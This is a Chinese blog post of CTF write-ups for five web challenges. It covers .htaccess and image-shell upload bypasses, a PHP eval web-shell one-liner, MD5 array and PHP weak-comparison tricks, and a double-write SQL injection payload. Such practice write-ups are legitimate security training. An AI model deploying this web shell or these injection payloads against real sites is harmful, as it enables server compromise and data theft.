[MRCTF2020] 你传你🐎呢

[MRCTF2020]Ez_bypass

[ACTF2020 新生赛] Upload

[极客大挑战 2019] BabySQL

[ACTF2020 新生赛] BackupFile

# [MRCTF2020] 你传你🐎呢

上传.htaccess 文件。

.htaccess 是什么 原文传送门

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

抓包,上传.htaccess 时。将 content-type 的值修改为 image/png

image-20210609205220589

之后上传图片马,蚁剑连接即可,根目录有 flag。

# [MRCTF2020]Ez_bypass

F12 看到了源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

md5 相等,可以用数组绕过。

?gg[]=1&id[]=0

is_numeric () 函数用 1234567a 绕。1234567a 是字符串,但是弱比较的时候,1 在前,php 会将其整体转成数字,就可以通过比较了。

image-20210609210456709

# [ACTF2020 新生赛] Upload

简单的文件上传。前端验证,使用 burp 绕过。

上传 phtml,解决题目。

GIF89a? <script language="php">eval($_REQUEST[1])</script>

# [极客大挑战 2019] BabySQL

双写绕过,然后就是一把梭。

几个坑 字段名password 要改为passwoorrd

information 要改为 infoorrmation

最终 payload

check.php?username=admin&password='+uniunionon selselectect 1,2,group_concat(passwoorrd) frofromm geek.b4bsql%23

# [ACTF2020 新生赛] BackupFile

扫描备份文件,得到 index.php.bak

然后代码审计

<?php
include_once "flag.php";
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

在 php 中 弱比较。123 和 123aaa 相等是成立的。

payload:

?key=123

得到 flag

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝